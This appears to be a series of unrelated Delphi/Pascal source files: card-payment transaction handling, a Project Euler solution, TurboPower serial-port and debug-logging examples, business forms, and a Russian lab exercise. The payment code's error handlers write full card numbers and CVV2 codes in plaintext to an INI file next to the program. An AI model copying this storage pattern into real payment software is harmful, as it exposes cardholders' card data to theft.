Copy(Trim(ADebit.Card), Length(Trim(ADebit.Card)) - 3, 4); Result := True; FTransactionReturn := ttrSuccessfull; end else if (FPCCresult = 'NOT CAPTURED') or (FPCCresult = 'NOT APPROVED') or (FPCCresult = 'CANCELED') or (FPCCresult = 'Error') or (FPCCresult = 'NOT PROCESSED') then begin FAuth := FormatPCChargeError(ADebit.GetAuth); FTransactionReturn := ttrNotSuccessfull; {if ADebit.CVV2Ver <> '' then FCVV2Ver := ADebit.CVV2Ver; if (ADebit.Street <> '') or (ADebit.Zip <> '') then FAVS := ADebit.AVS; } end; end else begin FErrorDesc := ADebit.GetErrorDesc; FTransactionReturn := ttrError; //Grava error if FErrorCode = PCC_ERROR_TIMEOUT then DebitTransactionError(ADebit); end; end; function TPCCTransaction.FormatPCChargeError(PCError: String): String; begin //NOT CAPTURED if PCError = 'IP Init' then Result := '(IP Init) PC Charge was unable to connect to the internet, Check your internet connection and try again.' else if PCError = 'Timeout' then Result := '(Time Out) Time-Out Error, Re-send Information' else if PCError = 'CALL AUTH CENTER' then Result := '(CALL AUTH CENTER) Call for approval' else Result := PCError; end; function TPCCTransaction.DebitTransactionError(ADebit: TOCXDebit): Boolean; var FTransError : TIniFile; begin FTransError := TIniFile.Create(ExtractFileDir(Application.ExeName)+'\PCCTransError.ini'); FTransError.WriteString('Transaction', 'Type', 'Debit'); FTransError.WriteString('Transaction', 'Card', ADebit.Card); FTransError.WriteString('Transaction', 'Amount', ADebit.Amount); FTransError.WriteString('Transaction', 'Ticket', ADebit.Ticket); FTransError.WriteString('Transaction', 'User', FUser); FTransError.WriteString('Transaction', 'FAuth', FAuth); FTransError.WriteString('Transaction', 'FRefNumber', FRefNumber); FTransError.WriteString('Transaction', 'FTroutD', FTroutD); FTransError.WriteDateTime('Transaction', 'Date', Trunc(Now)); end; function TPCCTransaction.CreditTransactionError(ACharge: TCharge): Boolean; var FTransError : TIniFile; begin FTransError := TIniFile.Create(ExtractFileDir(Application.ExeName)+'\PCCTransError.ini'); FTransError.WriteString('Transaction', 'Type', 'Credit'); FTransError.WriteString('Transaction', 'Card', ACharge.Card); FTransError.WriteString('Transaction', 'Amount', ACharge.Amount); FTransError.WriteString('Transaction', 'Ticket', ACharge.Ticket); FTransError.WriteString('Transaction', 'CVV2', ACharge.CVV2); FTransError.WriteString('Transaction', 'User', FUser); FTransError.WriteString('Transaction', 'Manual', IntToStr(ACharge.Manual)); FTransError.WriteString('Transaction', 'CardPresent', ACharge.CardPresent); FTransError.WriteString('Transaction', 'FAuth', FAuth); FTransError.WriteString('Transaction', 'FRefNumber', FRefNumber); FTransError.WriteString('Transaction', 'FTroutD', FTroutD); FTransError.WriteDateTime('Transaction', 'Date', Trunc(Now)); end; function TPCCTransaction.ErrorFileExist: Boolean; begin Result := FileExists(ExtractFileDir(Application.ExeName)+'\PCCTransError.ini'); end; function TPCCTransaction.CreditTransactionAlreadyCharged( ACharge: TCharge; AFileType : TOleEnum): Boolean; var FTransError : TIniFile; FPCCRecordList : TPCCRecordList; FPCCRecord : TPCCRecord; sCCard, sDate, sTicket, sCommand : String; FProcessOK : Boolean; begin FProcessOK := False; Result := False; FTransError := TIniFile.Create(ExtractFileDir(Application.ExeName)+'\PCCTransError.ini'); try sCCard := FTransError.ReadString('Transaction', 'Card', ''); sDate := FTransError.ReadString('Transaction', 'Date', ''); sTicket := FTransError.ReadString('Transaction', 'Ticket', ''); if (sCCard = '') or (sCCard <> ACharge.Card) or (sTicket <> ACharge.Ticket) then begin Result := False; FProcessOK := True; end else begin sCommand := ACharge.Command; ACharge.Command := 'ZI'; ACharge.Send(AFileType); FProcessOK := True; FPCCRecordList := TPCCRecordList.Create; try FPCCRecordList.BuildRecords(ACharge.GetXMLResponse); FPCCRecord := FPCCRecordList.FindRecord(ACharge.Ticket, sDate, ACharge.User, ACharge.Amount, ACharge.Card); if FPCCRecord <> nil then begin FAuth := FPCCRecord.Auth; FRefNumber := FPCCRecord.Ref; FTroutD := FPCCRecord.TroutD; FPCCResult := FPCCRecord.Result; FErrorCode := 0; Result := True; end; finally FreeAndNil(FPCCRecordList); ACharge.Command := sCommand; end; end; finally if FProcessOK then FileDelete(ExtractFileDir(Application.ExeName)+'\PCCTransError.ini'); end; end; function TPCCTransaction.DebitTransactionAlreadyCharged(ADebit: TOCXDebit; AFileType: TOleEnum): Boolean; var FTransError : TIniFile; FPCCRecordList : TPCCRecordList; FPCCRecord : TPCCRecord; sCCard, sDate, sTicket, sCommand : String; FProcessOK : Boolean; begin FProcessOK := False; Result := False; FTransError := TIniFile.Create(ExtractFileDir(Application.ExeName)+'\PCCTransError.ini'); try sCCard := FTransError.ReadString('Transaction', 'Card', ''); sDate := FTransError.ReadString('Transaction', 'Date', ''); sTicket := FTransError.ReadString('Transaction', 'Ticket', ''); if (sCCard = '') or (sCCard <> ADebit.Card) or (sTicket <> ADebit.Ticket) then begin Result := False; FProcessOK := True; end else begin sCommand := ADebit.Command; ADebit.Command := 'ZI'; ADebit.Send(AFileType); FProcessOK := True; FPCCRecordList := TPCCRecordList.Create; try FPCCRecordList.BuildRecords(ADebit.GetXMLResponse); FPCCRecord := FPCCRecordList.FindRecord(ADebit.Ticket, sDate, ADebit.User, ADebit.Amount, ADebit.Card); if FPCCRecord <> nil then begin FAuth := FPCCRecord.Auth; FRefNumber := FPCCRecord.Ref; FTroutD := FPCCRecord.TroutD; FPCCResult := FPCCRecord.Result; FErrorCode := 0; Result := True; end; finally FreeAndNil(FPCCRecordList); ADebit.Command := sCommand; end; end; finally if FProcessOK then FileDelete(ExtractFileDir(Application.ExeName)+'\PCCTransError.ini'); end; end; end.
program problem06; uses crt; (* Problem: Sum square difference Problem 6 @Author: Chris M. Perez @Date: 5/14/2017 *) const MAX: longint = 100; function sum_square(arg: longint): longint; var i: longint; sum: longint = 0; begin for i := 1 to 100 do begin sum := sum + (i * i); end; sum_square := sum; end; function square_sum(arg: longint): longint; var i: longint; sum: longint = 0; begin for i := 1 to 100 do begin sum := sum + i; end; square_sum := sum; end; var sumQ: longint = 0; qSum: longint = 0; result: longint = 0; begin sumQ := sum_square(MAX); qSum := square_sum(MAX); result := (qSum * qSum) - sumQ; writeln(result); readkey; end.
(***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is TurboPower Async Professional * * The Initial Developer of the Original Code is * TurboPower Software * * Portions created by the Initial Developer are Copyright (C) 1991-2002 * the Initial Developer. All Rights Reserved. * * Contributor(s): * * ***** END LICENSE BLOCK ***** *) {*********************************************************} {* EXLOG0.PAS 4.06 *} {*********************************************************} {**********************Description************************} {* Shows all TApdComPort logging options. *} {*********************************************************} unit Exlog0; interface uses WinTypes, WinProcs, SysUtils, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, AdPort, OoMisc, ADTrmEmu; type TExampleLog = class(TForm) LogOps: TRadioGroup; Quit: TButton; ApdComPort1: TApdComPort; AdTerminal1: TAdTerminal; procedure QuitClick(Sender: TObject); procedure LogOpsClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var ExampleLog: TExampleLog; implementation {$R *.DFM} procedure TExampleLog.QuitClick(Sender: TObject); begin Close; end; procedure TExampleLog.LogOpsClick(Sender: TObject); const InClick : Boolean = False; begin if not InClick then begin InClick := True; ApdComPort1.Logging := TTraceLogState(LogOps.ItemIndex); LogOps.ItemIndex := Ord(ApdComPort1.Logging); AdTerminal1.SetFocus; InClick := False; end; end; end.
{----------------------------------------------------------------------------- Unit Name : DelphiDebug Author : Loïs Bégué Date : 10-Jan-2005 Purpose : Send string via Windows API to Delphi's (or other's) Debugger The Delphi Debugger will put the messages in the event protocol window of the IDE (Ctrl +Alt + V) Each line may include a time stamp / duration -----------------------------------------------------------------------------} unit uDebug; interface uses Windows, Sysutils; procedure DebugStringStart(aCaption, aText: string); procedure DebugStringStop(aCaption, aText: string); procedure DebugString(aCaption, aText: string); procedure dbg( const aCaption, aText: string); var DebugOutputFileName : string; implementation uses Dialogs; type TDebugStringProc = procedure(aCaption, aText: string); var StartDT: TDateTime; StopDT: TDateTime; StartDTPrec: Int64; StopDTPrec: Int64; PerfFrequency: Int64; DSStart: TDebugStringProc; DSStop: TDebugStringProc; DSStr: TDebugStringProc; // GetFormatDT - Output = formated DateTime String function GetFormatDT(aDateTime: TDateTime): string; begin Result := FormatDateTime('dd.mm.yy hh:nn:ss zzz', aDateTime); end; // GetFormatT - Output = formated Time String function GetFormatT(aDateTime: TDateTime): string; begin Result := FormatDateTime('hh:nn:ss zzz', aDateTime) end; // _DebugStringStart - internal: Debug string at start time procedure _DebugStringStart(aCaption, aText: string); begin StartDT := Now; OutputDebugString(PChar(Format('[%s][%s] %s', [aCaption, GetFormatDT(StartDT), aText]))); end; // _DebugStringStop - internal: Debug string at stop time procedure _DebugStringStop(aCaption, aText: string); begin StopDT := Now; OutputDebugString(PChar(Format('[%s][%s][%s] %s', [aCaption, GetFormatDT(StopDT), GetFormatT(StopDT - StartDT), aText]))); end; // _DebugStringStart - internal: Debug string at start time (high definition) procedure _DebugStringStartPrecision(aCaption, aText: string); begin QueryPerformanceCounter(StartDTPrec); OutputDebugString(PChar(Format('[%s][%s] %s', [aCaption, GetFormatDT(Now()), aText]))); end; // _DebugStringStop - internal: Debug string at stop time (high definition) in ms procedure _DebugStringStopPrecision(aCaption, aText: string); begin QueryPerformanceCounter(StopDTPrec); OutputDebugString(PChar(Format('[%s][%s][%.2n ms] %s', [aCaption, GetFormatDT(Now()), (1000 * (StopDTPrec - StartDTPrec) / PerfFrequency), aText]))); end; // DebugStringStart - external: wrapper function procedure DebugStringStart(aCaption, aText: string); begin DSStart(aCaption, aText); end; // DebugStringStop - external: wrapper function procedure DebugStringStop(aCaption, aText: string); begin DSStop(aCaption, aText); end; // DebugString - external: direct mode procedure DebugString(aCaption, aText: string); begin OutputDebugString(PChar(Format('[%s][%s] %s', [aCaption, GetFormatDT(Now()), aText]))); end; procedure AppendLine( const stringToWrite, fileName : string ); var myFile : TextFile; text : string; Begin AssignFile( myFile, fileName ); if ( not FileExists( fileName )) then begin ReWrite(myFile); end else begin Append( myFile ); end; WriteLn( myFile, stringToWrite ); CloseFile( myFile ); End; // DebugString - external: direct mode procedure dbg( const aCaption, aText: string); begin if ( Length(DebugOutputFileName) > 0 ) then AppendLine(aText,DebugOutputFileName); OutputDebugString( PChar(Format('[%s]: %s',[aCaption, aText])) ); end; initialization DebugOutputFileName := 'Image2XML.log'; if (( Length(DebugOutputFileName) > 0 ) and FileExists(DebugOutputFileName)) then DeleteFile(DebugOutputFileName); // If the high definition mode's available, then // link external calls to the "Precision" functions ... if QueryPerformanceFrequency(PerfFrequency) then begin DSStart := _DebugStringStartPrecision; DSStop := _DebugStringStopPrecision; end // ... else link to the "normal" ones. else begin DSStart := _DebugStringStart; DSStop := _DebugStringStop; end; END.
unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.Grids; type TMeuProcesso = reference to procedure; TForm1 = class(TForm) Button1: TButton; ListBox1: TListBox; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } Procedure MeuWhile(MyProcess: TProc); end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var Process: TProc; begin process := procedure begin showmessage('passando por aqui'); end; MeuWhile(process); end; procedure TForm1.MeuWhile(MyProcess: TProc); var I: Integer; begin for I := 0 to ListBox1.Count - 1 do begin ListBox1.ClearSelection; ListBox1.Selected[i] := True; MyProcess; sleep(500); end; end; end.
unit PAG0001C.View; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, CadastroBase.View, cxGraphics, cxLookAndFeels, cxLookAndFeelPainters, Vcl.Menus, dxSkinsCore, cxControls, cxContainer, cxEdit, dxGDIPlusClasses, Vcl.ExtCtrls, cxLabel, Vcl.StdCtrls, cxButtons, Base.View.Interf, Tipos.Controller.Interf, dxSkinDevExpressDarkStyle, dxSkinDevExpressStyle, dxSkinOffice2007Black, dxSkinOffice2007Blue, dxSkinOffice2007Silver, cxTextEdit, Fornecedor.Controller.Interf, dxSkinBlack, dxSkinDarkRoom, dxSkinSilver; type TFPAG0001CView = class(TFCadastroView, IBaseCadastroView) TeIdFornecedor: TcxTextEdit; cxLabel6: TcxLabel; TeNomeFantasia: TcxTextEdit; cxLabel2: TcxLabel; TeCNPJ: TcxTextEdit; cxLabel4: TcxLabel; cxLabel7: TcxLabel; TeInscEstadual: TcxTextEdit; TeEmail: TcxTextEdit; cxLabel5: TcxLabel; cxLabel3: TcxLabel; TeTelefone: TcxTextEdit; procedure FormCreate(Sender: TObject); procedure BtSalvarClick(Sender: TObject); private FFornecedor: IFornecedorController; FRegistro: string; procedure exibirDadosNaTela; procedure desabilitaCampos; procedure salvarDados; public class function New: IBaseCadastroView; function operacao(AValue: TTipoOperacao): IBaseCadastroView; function registroSelecionado(AValue: string): IBaseCadastroView; procedure &executar; end; var FPAG0001CView: TFPAG0001CView; implementation {$R *.dfm} uses FacadeController; { TFPAG0001CView } procedure TFPAG0001CView.BtSalvarClick(Sender: TObject); begin salvarDados; inherited; end; procedure TFPAG0001CView.desabilitaCampos; begin if FOperacao in [toConsultar, toExcluir] then begin TeIdFornecedor.Enabled := False; TeNomeFantasia.Enabled := False; TeCNPJ.Enabled := False; TeInscEstadual.Enabled := False; TeTelefone.Enabled := False; TeEmail.Enabled := False; end; end; procedure TFPAG0001CView.executar; begin exibirDadosNaTela; desabilitaCampos; exibirTituloOperacao(FOperacao); ShowModal; end; procedure TFPAG0001CView.exibirDadosNaTela; begin if FOperacao = toIncluir then Exit; FFornecedor.localizar(FRegistro); TeIdFornecedor.Text := FFornecedor.idFornecedor; TeNomeFantasia.Text := FFornecedor.nomeFantasia; TeCNPJ.Text := FFornecedor.cnpj; TeInscEstadual.Text := FFornecedor.ie; TeTelefone.Text := FFornecedor.telefone; TeEmail.Text := FFornecedor.email; end; procedure TFPAG0001CView.FormCreate(Sender: TObject); begin inherited; FFornecedor := TFacadeController.New .modulosFacadeController .pagarFactoryController .fornecedor; end; class function TFPAG0001CView.New: IBaseCadastroView; begin Result := Self.Create(nil); end; function TFPAG0001CView.operacao(AValue: TTipoOperacao): IBaseCadastroView; begin Result := Self; FOperacao := AValue; end; function TFPAG0001CView.registroSelecionado(AValue: string): IBaseCadastroView; begin Result := Self; FRegistro := AValue; end; procedure TFPAG0001CView.salvarDados; begin case FOperacao of toIncluir: begin FFornecedor .incluir .nomeFantasia(TeNomeFantasia.Text) .cnpj(TeCNPJ.Text) .ie(TeInscEstadual.Text) .telefone(TeTelefone.Text) .email(TeEmail.Text) .finalizar; end; toAlterar: begin FFornecedor .alterar .nomeFantasia(TeNomeFantasia.Text) .cnpj(TeCNPJ.Text) .ie(TeInscEstadual.Text) .telefone(TeTelefone.Text) .email(TeEmail.Text) .finalizar; end; toExcluir: begin FFornecedor .excluir .finalizar; end; toDuplicar: begin FFornecedor .duplicar .nomeFantasia(TeNomeFantasia.Text) .cnpj(TeCNPJ.Text) .ie(TeInscEstadual.Text) .telefone(TeTelefone.Text) .email(TeEmail.Text) .finalizar; end; end; end; end.
namespace XsdParser.Web; type [Export] Program = public class public method HelloWorld; begin writeLn('HelloWorld'); var el := WebAssembly.GetElementById('helloWorld'); if el = nil then begin writeLn('Element by ID test is null!'); exit; end; var t2 := WebAssembly.CreateTextNode('Hello from Elements WebAssembly!'); el.appendChild(t2); end; end; end.
program lab_6; var //str: string:= 'январь,февраль,март,апрель,май.'; str: string:= 'аеюэиябч,аеюэоябч,аеюябч,аеюэоябч,аеюэиябч.'; vowels: set of char:= [ 'а', 'е', 'и', 'о','у', 'ы', 'э', 'ю','я' ]; consonants: set of char:= [ 'б', 'в', 'г', 'д', 'ж', 'з', 'й', 'л', 'м', 'н', 'р', 'к', 'п', 'с', 'т', 'ф', 'х', 'ц', 'ч', 'ш', 'щ' ]; alphabet: array of char:= ( 'а', 'б', 'в', 'г', 'д', 'е', 'ж', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'x', 'ы', 'э', 'ю', 'я' ); isValidWords: set of boolean; isVowels: set of char; res: set of char; isChar: boolean:= false; i, y: integer; begin for i:= 0 to (Length(alphabet) - 1) do begin //if vowels if (alphabet[i] in vowels) then begin for y:= 1 to Length(str) do begin if (str[y] = ',') or (str[y] = '.') then begin if (isChar = false) then begin include(isValidWords, false); break; end; //next include(isValidWords, true); isChar:= false; continue; end; if (alphabet[i] = str[y]) then isChar:= true; end; if (false in isValidWords) then begin isValidWords:= []; continue; end; //if everyone has words include(isVowels,alphabet[i]); isValidWords:= []; isChar:= false; end; //set defaulf settings isValidWords:= []; isChar:= false; //if consonants if (alphabet[i] in consonants) then begin for y:= 1 to Length(str) do begin if (str[y] = ',') or (str[y] = '.') then begin if (isChar = false) then begin include(isValidWords, false); break; end; //next include(isValidWords, true); isChar:= false; continue; end; if (alphabet[i] = str[y]) then isChar:= true; end; if (false in isValidWords) then begin isValidWords:= []; continue; end; exclude(consonants,alphabet[i]); isValidWords:= []; isChar:= false; end; end; writeln('Existing vowels in each words -> ',isVowels); writeln('Missing consonants in each word -> ',consonants); //union res:= isVowels + consonants; write('Result:'); for i:= 0 to (Length(alphabet) - 1) do begin if (alphabet[i] in res) then write(' ',alphabet[i]); end; end.
unit uFrmMergePO; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, PaideTodosGeral, siComp, siLangRT, StdCtrls, Buttons, ExtCtrls, cxStyles, cxCustomData, cxGraphics, cxFilter, cxData, cxEdit, DB, cxDBData, ADODB, PowerADOQuery, cxGridLevel, cxClasses, cxControls, cxGridCustomView, cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid; type TFrmMergePO = class(TFrmParentAll) btnMerge: TButton; grdPOSearch: TcxGrid; grdPOSearchDB: TcxGridDBTableView; grdPOSearchLevel: TcxGridLevel; quPOMerge: TPowerADOQuery; dsPOMerge: TDataSource; quPOMergeIDPO: TIntegerField; quPOMergeIDFornecedor: TIntegerField; quPOMergeVendor: TStringField; quPOMergeDataPedido: TDateTimeField; quPOMergeAberto: TBooleanField; quPOMergeSubTotal: TBCDField; quPOMergeStore: TStringField; grdPOSearchDBIDPO: TcxGridDBColumn; grdPOSearchDBVendor: TcxGridDBColumn; grdPOSearchDBDataPedido: TcxGridDBColumn; grdPOSearchDBSubTotal: TcxGridDBColumn; grdPOSearchDBStore: TcxGridDBColumn; pnlInfo: TPanel; lbPOMerge: TLabel; lbPOActual: TLabel; spRemoveOldPO: TADOStoredProc; cmdUpdatePO: TADOCommand; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure btCloseClick(Sender: TObject); procedure btnMergeClick(Sender: TObject); procedure quPOMergeAfterOpen(DataSet: TDataSet); private FIDVendor, FIDPOActual, FIDStore : Integer; FResult : Boolean; procedure OpenPO; procedure ClosePO; function MergePO : Boolean; public function Start(AIDVendor, AIDStore, AIDPOActual : Integer) : Boolean; end; implementation uses uDM; {$R *.dfm} { TFrmMergePO } function TFrmMergePO.Start(AIDVendor, AIDStore, AIDPOActual: Integer): Boolean; begin FIDVendor := AIDVendor; FIDPOActual := AIDPOActual; FIDStore := AIDStore; FResult := False; OpenPO; lbPOActual.Caption := IntToStr(FIDPOActual); ShowModal; Result := FResult; end; procedure TFrmMergePO.FormClose(Sender: TObject; var Action: TCloseAction); begin inherited; ClosePO; Action := caFree; end; procedure TFrmMergePO.btCloseClick(Sender: TObject); begin inherited; FResult := False; Close; end; procedure TFrmMergePO.btnMergeClick(Sender: TObject); begin inherited; if MergePO then begin FResult := True; Close; end; end; procedure TFrmMergePO.ClosePO; begin with quPOMerge do if Active then Close; end; procedure TFrmMergePO.OpenPO; begin with quPOMerge do if not Active then begin Parameters.ParamByName('IDFornecedor').Value := FIDVendor; Parameters.ParamByName('IDPOActual').Value := FIDPOActual; Parameters.ParamByName('IDStore').Value := FIDStore; Open; end; end; procedure TFrmMergePO.quPOMergeAfterOpen(DataSet: TDataSet); begin inherited; btnMerge.Enabled := (not quPOMerge.IsEmpty); end; function TFrmMergePO.MergePO : Boolean; begin if quPOMerge.Active and (quPOMergeIDPO.AsString <> '') then begin DM.ADODBConnect.BeginTrans; try with cmdUpdatePO do begin Parameters.ParamByName('IDPOActual').Value := FIDPOActual; Parameters.ParamByName('IDPOOld').Value := quPOMergeIDPO.AsInteger; Execute; end; with spRemoveOldPO do begin Parameters.ParamByName('@IDPO').Value := quPOMergeIDPO.AsInteger; ExecProc; end; DM.ADODBConnect.CommitTrans; Result := True; except DM.ADODBConnect.RollbackTrans; Result := False; raise; end; end; end; end.
unit FrmReport1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, cxLookAndFeelPainters, StdCtrls, cxButtons, cxStyles, cxCustomData, cxGraphics, cxFilter, cxData, cxDataStorage, cxEdit, DB, cxDBData, cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGridLevel, cxClasses, cxControls, cxGridCustomView, cxGrid, cxHyperLinkEdit,Ibase, FIBDatabase, pFIBDatabase, FIBDataSet, pFIBDataSet, Contnrs, cxGridBandedTableView, cxGridDBBandedTableView, Menus, cxExportGrid4Link, cxExport, cxTextEdit, frxClass, frxDBSet, cxContainer, cxDBEdit,pFibStoredProc, cxMaskEdit, cxDropDownEdit, cxCalendar, frxExportPDF, frxExportImage, frxExportRTF, frxExportXML, frxExportXLS, frxExportHTML, frxExportTXT, Placemnt, ComCtrls, cxCalc, cxCheckBox, ShellApi; type TfrmHtmlReport = class(TForm) Panel2: TPanel; cxStyleRepository1: TcxStyleRepository; cxGridTableViewStyleSheet1: TcxGridTableViewStyleSheet; GridTableViewStyleSheetHighContrastWhite: TcxGridTableViewStyleSheet; cxStyle1: TcxStyle; cxStyle2: TcxStyle; cxStyle3: TcxStyle; cxStyle4: TcxStyle; cxStyle5: TcxStyle; cxStyle6: TcxStyle; cxStyle7: TcxStyle; cxStyle8: TcxStyle; cxStyle9: TcxStyle; cxStyle10: TcxStyle; cxStyle11: TcxStyle; TitlePanel: TPanel; WorkDatabase: TpFIBDatabase; DataSet: TpFIBDataSet; ReadTransaction: TpFIBTransaction; DataSource: TDataSource; GridBandedTableViewStyleSheetHighContrastWhite: TcxGridBandedTableViewStyleSheet; cxStyle12: TcxStyle; cxStyle13: TcxStyle; cxStyle14: TcxStyle; cxStyle15: TcxStyle; cxStyle16: TcxStyle; cxStyle17: TcxStyle; cxStyle18: TcxStyle; cxStyle19: TcxStyle; cxStyle20: TcxStyle; cxStyle21: TcxStyle; cxStyle22: TcxStyle; cxStyle23: TcxStyle; BuReportsInfoGrid: TcxGrid; ViewLevel0: TcxGridDBTableView; ViewLevel0DBColumn2: TcxGridDBColumn; ViewLevel0DBColumn3: TcxGridDBColumn; ViewLevel0DBColumn4: TcxGridDBColumn; ViewLevel1: TcxGridDBTableView; ViewLevel1DBColumn1: TcxGridDBColumn; ViewLevel1DBColumn2: TcxGridDBColumn; ViewLevel1DBColumn3: TcxGridDBColumn; ViewLevel1DBColumn4: TcxGridDBColumn; ViewLevel2: TcxGridDBBandedTableView; PLAN_VALUE: TcxGridDBBandedColumn; BU_KASSA_FACT: TcxGridDBBandedColumn; BU_FINANCE_FACT: TcxGridDBBandedColumn; BU_DEBIT_Z: TcxGridDBBandedColumn; BU_KREDIT_Z: TcxGridDBBandedColumn; DIFF_FROM_PLAN: TcxGridDBBandedColumn; SHOW_TITLE: TcxGridDBBandedColumn; ViewLevel3: TcxGridDBBandedTableView; ViewLevel4: TcxGridDBBandedTableView; ViewLevel4DBBandedColumn1: TcxGridDBBandedColumn; ViewLevel4DBBandedColumn3: TcxGridDBBandedColumn; PLAN_VALUE_COLUMN: TcxGridDBBandedColumn; BU_KASSA_FACT_COLUMN: TcxGridDBBandedColumn; ViewLevel4DBBandedColumn6: TcxGridDBBandedColumn; ViewLevel4DBBandedColumn7: TcxGridDBBandedColumn; BU_KREDIT_Z_COLUMN: TcxGridDBBandedColumn; DIFF_FROM_PLAN_COLUMN: TcxGridDBBandedColumn; ExportPopupMenu: TPopupMenu; HTML1: TMenuItem; Excelajhvfne1: TMenuItem; SaveDialog1: TSaveDialog; ViewLevel2DBBandedColumn1: TcxGridDBBandedColumn; PROFIT_FLAG_TITLE: TcxGridDBBandedColumn; PLAN_VALUE_FC: TcxGridDBBandedColumn; BU_KASSA_FACT_FC: TcxGridDBBandedColumn; BU_FINANCE_FACT_FC: TcxGridDBBandedColumn; BU_DEBIT_Z_FC: TcxGridDBBandedColumn; BU_KREDIT_Z_FC: TcxGridDBBandedColumn; DIFF_FROM_PLAN_FC: TcxGridDBBandedColumn; RAZD_STYLE: TcxStyle; ST_STYLE: TcxStyle; SM_STYLE: TcxStyle; TYPE_OBJ: TcxGridDBBandedColumn; ViewLevel4DBBandedColumn2: TcxGridDBBandedColumn; DBDataset: TfrxDBDataset; PlanRestsDataSet: TpFIBDataSet; PlanRestDataset: TfrxDBDataset; RestDataSource: TDataSource; RED_SUM_STYLE: TcxStyle; RAZD_STYLE_RED: TcxStyle; ST_STYLE_RED: TcxStyle; SM_STYLE_RED: TcxStyle; Panel4: TPanel; cxButton1: TcxButton; cxButton2: TcxButton; PrintButton: TcxButton; cxButton11: TcxButton; ViewLevel1DBColumn5: TcxGridDBColumn; ViewLevel1DBColumn6: TcxGridDBColumn; cxStyle24: TcxStyle; frxTXTExport1: TfrxTXTExport; frxHTMLExport1: TfrxHTMLExport; frxXLSExport1: TfrxXLSExport; frxXMLExport1: TfrxXMLExport; frxRTFExport1: TfrxRTFExport; frxBMPExport1: TfrxBMPExport; frxJPEGExport1: TfrxJPEGExport; frxTIFFExport1: TfrxTIFFExport; frxPDFExport1: TfrxPDFExport; ViewLevel1DBColumn7: TcxGridDBColumn; GridTableViewStyleSheetWindowsClassic: TcxGridTableViewStyleSheet; cxStyle25: TcxStyle; cxStyle26: TcxStyle; cxStyle27: TcxStyle; cxStyle28: TcxStyle; cxStyle29: TcxStyle; cxStyle30: TcxStyle; cxStyle31: TcxStyle; cxStyle32: TcxStyle; cxStyle33: TcxStyle; cxStyle34: TcxStyle; cxStyle35: TcxStyle; cxStyle36: TcxStyle; cxStyle37: TcxStyle; cxStyle38: TcxStyle; cxStyle39: TcxStyle; cxStyle40: TcxStyle; cxStyle41: TcxStyle; cxStyle42: TcxStyle; cxStyle43: TcxStyle; cxStyle44: TcxStyle; cxStyle45: TcxStyle; cxStyle46: TcxStyle; cxGridTableViewStyleSheet2: TcxGridTableViewStyleSheet; cxStyle47: TcxStyle; cxStyle48: TcxStyle; cxStyle49: TcxStyle; cxStyle50: TcxStyle; cxStyle51: TcxStyle; cxStyle52: TcxStyle; cxStyle53: TcxStyle; cxStyle54: TcxStyle; cxStyle55: TcxStyle; cxStyle56: TcxStyle; cxStyle57: TcxStyle; cxGridTableViewStyleSheet3: TcxGridTableViewStyleSheet; ViewLevel4DBBandedColumn10: TcxGridDBBandedColumn; PLAN_FC: TcxGridDBBandedColumn; KASSA_FC: TcxGridDBBandedColumn; DIFF_FC: TcxGridDBBandedColumn; ViewLevelMonth: TcxGridDBBandedTableView; SHOW_TITLE_: TcxGridDBBandedColumn; PLAN_VALUE_: TcxGridDBBandedColumn; BU_KASSA_FACT_: TcxGridDBBandedColumn; DIFF_FROM_PLAN_: TcxGridDBBandedColumn; PROFIT_FLAG_TITLE_EX_: TcxGridDBBandedColumn; OBJECT_TYPE: TcxGridDBBandedColumn; PLAN_VALUE_FC_: TcxGridDBBandedColumn; BU_KASSA_FACT_FC_: TcxGridDBBandedColumn; DIFF_FROM_PLAN_FC_: TcxGridDBBandedColumn; RowDataSet: TfrxUserDataSet; ColDataSet: TfrxUserDataSet; PLReestrView: TcxGridDBBandedTableView; PLReestrViewDBBandedColumn1: TcxGridDBBandedColumn; PLReestrViewDBBandedColumn2: TcxGridDBBandedColumn; PLReestrViewDBBandedColumn4: TcxGridDBBandedColumn; PLReestrViewDBBandedColumn5: TcxGridDBBandedColumn; PLReestrViewDBBandedColumn6: TcxGridDBBandedColumn; PLReestrViewDBBandedColumn3: TcxGridDBBandedColumn; PLReestrViewDBBandedColumn7: TcxGridDBBandedColumn; FormStorage1: TFormStorage; PrintPopupMenu: TPopupMenu; N1: TMenuItem; N2: TMenuItem; FPlanRestsDataSet: TpFIBDataSet; FRestDataSource: TDataSource; ViewLevel1DBColumn8: TcxGridDBColumn; frxReport1: TfrxReport; ViewLevel3DBBandedColumn1: TcxGridDBBandedColumn; ViewLevel3DBBandedColumn2: TcxGridDBBandedColumn; ViewLevel3DBBandedColumn4: TcxGridDBBandedColumn; ViewLevel3DBBandedColumn5: TcxGridDBBandedColumn; ViewLevel3DBBandedColumn3: TcxGridDBBandedColumn; ViewLevel0DBColumn5: TcxGridDBColumn; SmGroupV_Detail: TcxGridLevel; ViewLevel8: TcxGridDBBandedTableView; ViewLevel8DBBandedColumn1: TcxGridDBBandedColumn; ViewLevel8DBBandedColumn2: TcxGridDBBandedColumn; ViewLevel8DBBandedColumn5: 